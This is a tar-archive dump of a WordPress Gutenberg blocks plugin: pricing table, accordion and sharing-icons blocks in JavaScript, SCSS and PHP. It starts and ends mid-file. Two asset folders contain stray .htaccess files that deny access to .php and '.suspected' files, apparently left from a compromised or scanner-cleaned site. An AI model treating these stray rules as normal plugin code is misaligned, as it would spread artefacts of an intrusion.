
const {
	ColorPalette,
	InnerBlocks,
	InspectorControls,
	MediaPlaceholder
} = wp.editor;

const {
	Button,
	ToggleControl,
	SelectControl,
	PanelBody
} = wp.components;

const { Fragment } = wp.element;

registerBlockType( 'themeisle-blocks/pricing-table', {
	title: __( 'Pricing Table' ),
	description: __( 'Pricing tables are a critical part in showcasing your services, prices and overall offerings.' ),
	icon: 'slides',
	category: 'themeisle-blocks',
	keywords: [
		'pricing',
		'table',
		'orbitfox'
	],
	attributes: {
		backgroundType: {
			type: 'string',
			default: 'color'
		},
		backgroundColor: {
			type: 'string',
			default: '#ffffff'
		},
		backgroundImageID: {
			type: 'string'
		},
		backgroundImageURL: {
			type: 'string'
		},
		backgroundDimmed: {
			type: 'boolean',
			default: true
		},
		backgroundParallax: {
			type: 'boolean',
			default: false
		}
	},

	supports: {
		align: [ 'wide', 'full' ]
	},

	edit: props => {
		const ALLOWED_BLOCKS = [ 'themeisle-blocks/pricing-block' ];
		const ALLOWED_MEDIA_TYPES = [ 'image' ];
		const TEMPLATE = [ [ 'themeisle-blocks/pricing-block' ], [ 'themeisle-blocks/pricing-block' ], [ 'themeisle-blocks/pricing-block' ] ];
		const changeType = value => {
			props.setAttributes({ backgroundType: value });
		};
		const changeColor = value => {
			props.setAttributes({ backgroundColor: value });
		};
		const changeBackground = value => {
			props.setAttributes({
				backgroundImageID: value.id,
				backgroundImageURL: value.url
			});
		};
		const removeBackground = () => {
			props.setAttributes({
				backgroundImageID: '',
				backgroundImageURL: ''
			});
		};
		const toggleDimming = () => {
			props.setAttributes({ backgroundDimmed: ! props.attributes.backgroundDimmed });
		};
		const toggleParallax = () => {
			props.setAttributes({ backgroundParallax: ! props.attributes.backgroundParallax });
		};
		const style = {
			background: 'color' === props.attributes.backgroundType ? props.attributes.backgroundColor : `url(' ${ props.attributes.backgroundImageURL } ')`
		};
		return [
			<InspectorControls>
				<PanelBody
					title={ __( 'Background' ) }
				>
					<SelectControl
						label={ __( 'Background Type' ) }
						value={ props.attributes.backgroundType }
						options={ [
							{ label: 'Color', value: 'color' },
							{ label: 'Image', value: 'image' }
						] }
						onChange={ changeType }
					/>
					{ 'color' === props.attributes.backgroundType ?
						<ColorPalette
							label={ __( 'Background Color' ) }
							value={ props.attributes.backgroundColor }
							onChange={ changeColor }
						/>					:
						props.attributes.backgroundImageURL ?
							<Fragment>
								<ToggleControl
									label={ __( 'Dimmed Background' ) }
									checked={ props.attributes.backgroundDimmed }
									onChange={ toggleDimming }
								/>
								<ToggleControl
									label={ __( 'Parallax Background' ) }
									checked={ props.attributes.backgroundParallax }
									onChange={ toggleParallax }
								/>
								<img
									src={ props.attributes.backgroundImageURL }
								/>
								<Button
									isLarge
									onClick={ removeBackground }
									style={ { marginTop: '10px' } }
								>
									{ __( 'Change or Remove Image' ) }
								</Button>
							</Fragment>						:
							<MediaPlaceholder
								icon="format-image"
								labels={ {
									title: __( 'Background Image' ),
									name: __( 'an image' )
								} }
								value={ props.attributes.backgroundImageID }
								onSelect={ changeBackground }
								accept="image/*"
								allowedTypes={ ALLOWED_MEDIA_TYPES }
							/>
					}
				</PanelBody>
			</InspectorControls>,

			<div
				className={ classnames(
					props.className,
					{ 'is-dim': 'image' === props.attributes.backgroundType && props.attributes.backgroundDimmed },
					{ 'is-parallax': 'image' === props.attributes.backgroundType && props.attributes.backgroundParallax },
				) }
				style={ style }
			>
				<InnerBlocks
					allowedBlocks={ ALLOWED_BLOCKS }
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		const style = {
			background: 'color' === props.attributes.backgroundType ? props.attributes.backgroundColor : `url(' ${ props.attributes.backgroundImageURL } ')`
		};
		return (
			<div
				className={ classnames(
					'wp-block-themeisle-blocks-pricing-table',
					{ 'is-dim': 'image' === props.attributes.backgroundType && props.attributes.backgroundDimmed },
					{ 'is-parallax': 'image' === props.attributes.backgroundType && props.attributes.backgroundParallax },
				) }
				style={ style }
			>
				<InnerBlocks.Content/>
			</div>
		);
	}
});
pricing-table/editor.scss000066600000005177151142373640011473 0ustar00// These margins make sure that nested blocks stack/overlay with the parent block chrome
// This is sort of an experiment at making sure the editor looks as much like the end result as possible
// Potentially the rules here can apply to all nested blocks and enable stacking, in which case it should be moved elsewhere
.wp-block-themeisle-blocks-pricing-table .editor-block-list__layout {
	margin-left: 0;
	margin-right: 0;

	// This max-width is used to constrain the main editor panel, it should not cascade into columns
	.editor-block-list__block {
		max-width: none;
	}
}

.wp-block-themeisle-blocks-pricing-table {
	display: block;
	position: relative;

	&.is-dim {
		&:before {
			content: "";
			position: absolute;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
			background-color: rgba(0,0,0,.5);
		}

		.wp-block-column {
			z-index: 1;
		}
	}

	&.is-parallax {
		background-attachment: fixed !important;
	}

	> .editor-inner-blocks > .editor-block-list__layout {
		display: flex;

		> [data-type="themeisle-blocks/pricing-block"] {
			display: flex;
			flex-direction: column;
			flex: 1;
			width: 0;

			.editor-block-list__block-edit {
				margin-top: 12px;
				flex-basis: 100%;
			}
		}
	}

	.wp-block-column {
		&:first-child {
			margin-left: 0;
		}

		&:last-child {
			margin-right: 0;
		}

		position: relative;
		padding: 20px 10px;
		margin: 0 20px;
	}
  
	.raised {
		-webkit-box-shadow: 0 16px 38px -12px rgba(0,0,0,.56),0 4px 25px 0 rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.2);
		-moz-box-shadow: 0 16px 38px -12px rgba(0,0,0,.56),0 4px 25px 0 rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.2);
		box-shadow: 0 16px 38px -12px rgba(0,0,0,.56),0 4px 25px 0 rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.2);
	}
}

[data-type="themeisle-blocks/pricing-table"] {
	&[data-align="full"] {
		.wp-block-themeisle-blocks-pricing-table {
			padding: 100px 150px;
		}
	}

	&[data-align="wide"] {
		.wp-block-themeisle-blocks-pricing-table {
			padding: 30px 50px;
		}
	}
}

@media ( max-width:768px ) {
	.wp-block-themeisle-blocks-pricing-table {
		display: block;

		> .editor-inner-blocks > .editor-block-list__layout {
			display: block;
	
			> [data-type="themeisle-blocks/pricing-block"] {
				display: flex;
				flex-direction: column;
				flex: 1;
				width: auto;
	
				.editor-block-list__block-edit {
					margin-top: 12px;
					flex-basis: 100%;
				}
			}
		}
	}
}

@media ( max-width:1024px ) {
	[data-type="themeisle-blocks/pricing-table"] {
		&[data-align="full"] {
			.wp-block-themeisle-blocks-pricing-table {
				padding: 100px 20px;
			}
		}

		&[data-align="wide"] {
			.wp-block-themeisle-blocks-pricing-table {
				padding: 30px 50px;
			}
		}
	}
}pricing-table/pricing-block.js000066600000006422151142373640012363 0ustar00/**
 * WordPress dependencies...
 */

import classnames from 'classnames';

const { __ } = wp.i18n;

const {
	registerBlockType
} = wp.blocks;

const {
	InnerBlocks,
	BlockControls,
	InspectorControls,
	PanelColorSettings
} = wp.editor;

const {
	Dashicon,
	Toolbar,
	Button,
	Tooltip
} = wp.components;

/**
 * Internal dependencies
 */
registerBlockType( 'themeisle-blocks/pricing-block', {
	title: __( 'Pricing Block' ),
	description: __( 'Pricing tables are a critical part in showcasing your services, prices and overall offerings.' ),
	parent: [ 'themeisle-blocks/pricing-table' ],
	icon: 'slides',
	category: 'themeisle-blocks',
	keywords: [
		'pricing',
		'table',
		'orbitfox'
	],
	attributes: {
		featured: {
			type: 'boolean',
			default: false
		},
		backgroundColor: {
			type: 'string',
			default: '#ffffff'
		}
	},

	edit: props => {
		const toggleFeatured = () => {
			props.setAttributes({ featured: ! props.attributes.featured });
		};
		const setBackgroundColor = value => {
			props.setAttributes({ backgroundColor: value });
		};
		const TEMPLATE =  [
			[ 'core/heading', {
				content: __( 'Basic' ),
				className: 'pricing-title',
				align: 'center',
				level: 5
			} ],
			[ 'core/paragraph', {
				content: __( '$9.99' ),
				align: 'center',
				customFontSize: 36
			} ],
			[ 'core/paragraph', {
				content: __( 'Per Month' ),
				align: 'center',
				customFontSize: 12
			} ],
			[ 'core/separator', {} ],
			[ 'core/paragraph', {
				content: __( 'First Feature' ),
				align: 'center',
				fontSize: 'small'
			} ],
			[ 'core/separator', {} ],
			[ 'core/paragraph', {
				content: __( 'Second Feature' ),
				align: 'center',
				fontSize: 'small'
			} ],
			[ 'core/separator', {} ],
			[ 'core/paragraph', {
				content: __( 'Last Feature' ),
				align: 'center',
				fontSize: 'small'
			} ],
			[ 'core/separator', {} ],
			[ 'core/button', {
				text: __( 'Buy Now' ),
				className: 'pricing-button',
				align: 'center'
			} ]
		];

		return [
			<BlockControls key="toolbar-controls">
				<Toolbar
					className='components-toolbar'
				>
					<Tooltip text={ __( 'Feature Table' )	}>
						<Button
							className={ classnames(
								'components-icon-button',
								'components-toolbar__control',
								{ 'is-active': props.attributes.featured },
							) }
							onClick={ toggleFeatured }
						>
							<Dashicon icon="star-empty" />
						</Button>
					</Tooltip>
				</Toolbar>
			</BlockControls>,

			<InspectorControls>
				<PanelColorSettings
					title={ __( 'Color Settings' ) }
					initialOpen={ true }
					colorSettings={ [
						{
							value: props.attributes.backgroundColor,
							onChange: setBackgroundColor,
							label: __( 'Background Color' )
						}
					] }
				>
				</PanelColorSettings>
			</InspectorControls>,

			<div
				className={ classnames(
					'wp-block-column',
					{ 'raised': props.attributes.featured },
				) }
				style={ {
					backgroundColor: props.attributes.backgroundColor
				}}
			>
				<InnerBlocks
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		return (
			<div
				className={ classnames(
					'wp-block-column',
					{ 'raised': props.attributes.featured },
				) }
				style={ {
					backgroundColor: props.attributes.backgroundColor
				} }
			>
				<InnerBlocks.Content/>
			</div>
		);
	}
});
accordion-box/editor.scss000066600000001576151142373640011501 0ustar00$white: rgba(254,255,250,1);
$grey: rgba(220,231,235,1);
$black: rgba(48,69,92,0.8);

.wp-block-themeisle-blocks-accordion-area {
	ul {
		list-style: none;
		perspective: 900;
		padding: 20px 0;
		margin: 0;
		
		li {
			position: relative;
			padding: 0;
			margin: 0;
			padding-bottom: 18px;
			padding-top: 18px;
			list-style: none;
			border-top: 1px dotted $grey;
			animation-delay: 0.5s;
	
			&:last-of-type {
				border-bottom: 1px dotted $grey;
			}

			.accordion-heading {
				line-height: 34px;
				font-weight: 300;
				letter-spacing: 1px;
				display: block;
				background-color: $white;
				margin: 0 !important;
			}

			.accordion-content {
				color: $black;
				font-size: 17px;
				line-height: 26px;
				letter-spacing: 1px;
				position: relative;
				margin-top: 14px !important;
				max-height: 800px;
				opacity: 1;
				transform: translate( 0 , 0 );
			}
		}
	}
}accordion-box/accordion-area.js000066600000001735151142373640012520 0ustar00/**
 * WordPress dependencies...
 */
const {__} = wp.i18n;

const {
	registerBlockType
} = wp.blocks;

const {
	InnerBlocks
} = wp.editor;

registerBlockType( 'themeisle-blocks/accordion-area', {
	title: __( 'Accordion' ),
	description: __( 'Accordion block allows you to add beautiful accordions in your posts.' ),
	icon: 'menu',
	category: 'themeisle-blocks',
	keywords: [
		'accordion',
		'collapsible',
		'orbitfox'
	],

	edit: props => {
		const ALLOWED_BLOCKS = [ 'themeisle-blocks/accordion-block' ];
		const TEMPLATE = [ [ 'themeisle-blocks/accordion-block' ], [ 'themeisle-blocks/accordion-block' ], [ 'themeisle-blocks/accordion-block' ] ];
		return (
			<div className={ props.className }>
				<ul>
					<InnerBlocks
						allowedBlocks={ ALLOWED_BLOCKS }
						template={ TEMPLATE }
					/>
				</ul>
			</div>
		);
	},

	save: () => {
		return (
			<div className="wp-block-themeisle-blocks-accordion-box">
				<ul>
					<InnerBlocks.Content/>
				</ul>
			</div>
		);
	}
});
accordion-box/.htaccess000066600000000424151142373640011103 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>accordion-box/accordion-block.js000066600000003016151142373640012674 0ustar00/**
 * WordPress dependencies...
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	RichText,
	InnerBlocks
} = wp.editor;

registerBlockType( 'themeisle-blocks/accordion-block', {
	title: __( 'Accordion Item' ),
	description: __( 'Accordion block allows you to add beautiful accordions in your posts.' ),
	parent: [ 'themeisle-blocks/accordion-area' ],
	icon: 'menu',
	category: 'themeisle-blocks',
	keywords: [
		'accordion',
		'collapsible',
		'orbitfox'
	],

	attributes: {
		heading: {
			type: 'array',
			source: 'children',
			selector: '.accordion-heading'
		}
	},

	edit: props => {

		const CONTENT =  [
			[ 'core/paragraph', {
				content: __( 'What is the point of being alive if you don’t at least try to do something remarkable?' ),
				className: 'accordion-content'
			} ]
		];

		return (
			<li className={ props.className }>
				<RichText
					tagName="h4"
					className="accordion-heading"
					value={ props.attributes.heading }
					placeholder="Section Title"
					onChange={ ( heading ) => props.setAttributes({ heading }) }
				/>
				<div className="accordion-content">
					<InnerBlocks
						template={ CONTENT }
						id="accordion-content"
					/>
				</div>
			</li>
		);
	},

	save: props => {
		return (
			<li>
				<input type="checkbox" checked />
				<i></i>
				<RichText.Content
					tagName="h4"
					className="accordion-heading"
					value={ props.attributes.heading }
				/>
				<div className="accordion-content">
					<InnerBlocks.Content/>
				</div>
			</li>
		);
	}
});
accordion-box/index.js000066600000000207151142373640010751 0ustar00/**
 * Accordion Block
 */
import './style.scss';
import './editor.scss';
import './accordion-area.js';
import './accordion-block.js';
accordion-box/style.scss000066600000004161151142373640011344 0ustar00$white: rgba(254,255,250,1);
$grey: rgba(220,231,235,1);
$black: rgba(48,69,92,0.8);

.wp-block-themeisle-blocks-accordion-area {
	.transition {
		transition: all 0.25s ease-in-out;
	}

	.no-select {
		-webkit-tap-highlight-color: rgba(0,0,0,0);
		-webkit-touch-callout: none;
		-webkit-user-select: none;
		-khtml-user-select: none;
		-moz-user-select: none;
		-ms-user-select: none;
		user-select: none;
	}

	ul {
		list-style: none;
		perspective: 900;
		padding: 20px 0;
		margin: 0;
		
		li {
			position: relative;
			padding: 0;
			margin: 0;
			padding-bottom: 18px;
			padding-top: 18px;
			list-style: none;
			border-top: 1px dotted $grey;
	
			&:last-of-type {
				border-bottom: 1px dotted $grey;
			}

			.accordion-heading {
				line-height: 34px;
				font-weight: 300;
				letter-spacing: 1px;
				display: block;
				background-color: $white;
				margin: 0 !important;
				padding: 0;
				cursor: pointer;
				@extend .no-select;
			}

			.accordion-content {
				color: $black;
				font-size: 17px;
				line-height: 26px;
				letter-spacing: 1px;
				position: relative;
				margin-top: 14px !important;
				max-height: 800px;
				@extend .transition;
				opacity: 1;
				transform: translate( 0 , 0 );
			}

			i {
				position: absolute;
				transform: translate( -6px , 0 );
				margin-top: 16px;
				right: 0;
	
				&:before, &:after{
					content: "";
					@extend .transition;
					position: absolute;
					background-color: $black;
					width: 3px;
					height: 9px;
				}

				&:before {
					transform: translate( -2px , 0 ) rotate( 45deg );
				}

				&:after {
					transform: translate( 2px , 0 ) rotate( -45deg );
				}
			}
	
			input[type=checkbox] {
				position: absolute;
				cursor: pointer;
				width: 100%;
				height: 100%;
				z-index: 1;
				opacity: 0;
	
				&:checked {
					&~.accordion-content {
						margin: 0 !important;
						max-height: 0;
						opacity: 0;
						transform: translate( 0 , 50% );
					}
		
					&~i {
						&:before {
							transform: translate( 2px , 0 ) rotate( 45deg );
						}
		
						&:after {
							transform: translate( -2px , 0 ) rotate( -45deg );
						}
					}
				}
			}
		}
	}
}sharing-icons/editor.scss000066600000002442151142373640011507 0ustar00.wp-block-themeisle-blocks-sharing-icons {
	.social-icon {
		background: #999999;
		color: #ffffff;
		font-size: 14px;
		position: relative;
		margin: 10px 5px 10px 0;;
		padding: 12px;
		border: none;
		border-radius: 3px;
		white-space: normal;
		letter-spacing: 0;
		display: inline-block;
		text-align: center;
		vertical-align: middle;
		touch-action: manipulation;
		cursor: pointer;
		background-image: none;
		line-height: 20px;

		&.is-facebook {
			background-color: #3b5998;
			border-color: #3b5998;
		}

		&.is-twitter {
			background-color: #55acee;
			border-color: #55acee;
		}

		&.is-linkedin {
			background-color: #0976b4;
			border-color: #0976b4;
		}

		&.is-pinterest {
			background-color: #cc2127;
			border-color: #cc2127;
		}

		&.is-tumblr {
			background-color: #35465c;
			border-color: #35465c;
		}

		&.is-reddit {
			background-color: #ff4500;
			border-color: #ff4500;
		}

		&:hover {
			box-shadow: 0 14px 26px -12px rgba(59, 89, 152, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(59, 89, 152, 0.2);
		}

		i {
			min-width: 20px;
			color: #ffffff;
			font-size: 16px;
		}
	}

	&.has-label {
		i {
			border-right: 1px solid rgba( 255, 255, 255, 0.5 );
			margin-right: 10px;
			padding-right: 10px;
		}
	}
}

.themeisle-toolbar {
	width: 20px;
	height: 20px;
}sharing-icons/.htaccess000066600000000424151142373640011120 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>sharing-icons/icons.js000066600000016723151142373640011004 0ustar00/**
 * WordPress dependencies
 */
const {
	Path,
	SVG
} = wp.components;

const SocialIcons = ({ icon }) => {
	if ( 'facebook' === icon ) {
		return (
			<SVG className="themeisle-toolbar" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 264 512">
				<Path fill="currentColor" d="M76.7 512V283H0v-91h76.7v-71.7C76.7 42.4 124.3 0 193.8 0c33.3 0 61.9 2.5 70.2 3.6V85h-48.2c-37.8 0-45.1 18-45.1 44.3V192H256l-11.7 91h-73.6v229" />
			</SVG>
		);
	} else if ( 'twitter' === icon ) {
		return (
			<SVG className="themeisle-toolbar" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
				<Path fill="currentColor" d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z" />
			</SVG>
		);
	} else if ( 'linkedin' === icon ) {
		return (
			<SVG className="themeisle-toolbar" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512">
				<Path fill="currentColor" d="M100.3 480H7.4V180.9h92.9V480zM53.8 140.1C24.1 140.1 0 115.5 0 85.8 0 56.1 24.1 32 53.8 32c29.7 0 53.8 24.1 53.8 53.8 0 29.7-24.1 54.3-53.8 54.3zM448 480h-92.7V334.4c0-34.7-.7-79.2-48.3-79.2-48.3 0-55.7 37.7-55.7 76.7V480h-92.8V180.9h89.1v40.8h1.3c12.4-23.5 42.7-48.3 87.9-48.3 94 0 111.3 61.9 111.3 142.3V480z" />
			</SVG>
		);
	} else if ( 'pinterest' === icon ) {
		return (
			<SVG className="themeisle-toolbar" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
				<Path fill="currentColor" d="M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z" />
			</SVG>
		);
	} else if ( 'tumblr' === icon ) {
		return (
			<SVG className="themeisle-toolbar" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512">
				<Path fill="currentColor" d="M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z" />
			</SVG>
		);
	} else if ( 'reddit' === icon ) {
		return (
			<SVG className="themeisle-toolbar" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
				<Path fill="currentColor" d="M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z" />
			</SVG>
		);
	} else {
		return (
			<SVG className="themeisle-toolbar" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
				<Path fill="currentColor" d="M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z" />
			</SVG>
		);
	}
};

export default SocialIcons;
sharing-icons/class-sharing-icons-block.php000066600000010127151142373640014773 0ustar00<?php

namespace ThemeIsle\GutenbergBlocks;

/**
 * Class Sharing_Icons_Block
 */
class Sharing_Icons_Block extends Base_Block {

	/**
	 * Social media attribites.
	 *
	 * @var array
	 */
	protected $social_attributes = array();

	/**
	 * Constructor function for the module.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Every block needs a slug, so we need to define one and assign it to the `$this->block_slug` property
	 *
	 * @return mixed
	 */
	function set_block_slug() {
		$this->block_slug = 'sharing-icons';
	}

	/**
	 * Set the attributes required on the server side.
	 *
	 * @return mixed
	 */
	function set_attributes() {
		$this->social_attributes = array(
			'facebook' => array(
				'label'   => esc_html__( 'Facebook', 'themeisle-companion' ),
				'icon' => 'facebook-f',
				'url' => 'https://www.facebook.com/sharer/sharer.php?u=' . esc_url( get_the_permalink() ) . '&title=' . esc_attr( get_the_title() ),
			),

			'twitter' => array(
				'label'   => esc_html__( 'Twitter', 'themeisle-companion' ),
				'icon' => 'twitter',
				'url' => 'http://twitter.com/share?url=' . esc_url( get_the_permalink() ) . '&text=' . esc_attr( get_the_title() ),
			),

			'linkedin' => array(
				'label'   => esc_html__( 'Linkedin', 'themeisle-companion' ),
				'icon' => 'linkedin-in',
				'url' => 'https://www.linkedin.com/shareArticle?mini=true&url=' . esc_url( get_the_permalink() ) . '&title=' . esc_attr( get_the_title() ),
			),

			'pinterest' => array(
				'label'   => esc_html__( 'Pinterest', 'themeisle-companion' ),
				'icon' => 'pinterest-p',
				'url' => 'https://pinterest.com/pin/create/button/?url=' . esc_url( get_the_permalink() ) . '&description=' . esc_attr( get_the_title() ),
			),

			'tumblr' => array(
				'label'   => esc_html__( 'Tumblr', 'themeisle-companion' ),
				'icon' => 'tumblr',
				'url' => 'https://tumblr.com/share/link?url=' . esc_url( get_the_permalink() ) . '&name=' . esc_attr( get_the_title() ),
			),

			'reddit' => array(
				'label'   => esc_html__( 'Reddit', 'themeisle-companion' ),
				'icon' => 'reddit-alien',
				'url' => 'https://www.reddit.com/submit?url=' . esc_url( get_the_permalink() ),
			),
		);

		$this->attributes = array(
			'align'  => array(
				'type'    => 'string'
			),
			'facebook'  => array(
				'type'    => 'boolean',
				'default' => 1,
			),
			'twitter'  => array(
				'type'    => 'boolean',
				'default' => 1,
			),
			'linkedin'  => array(
				'type'    => 'boolean',
				'default' => 1,
			),
			'pinterest'  => array(
				'type'    => 'boolean',
				'default' => 0,
			),
			'tumblr'  => array(
				'type'    => 'boolean',
				'default' => 0,
			),
			'reddit'  => array(
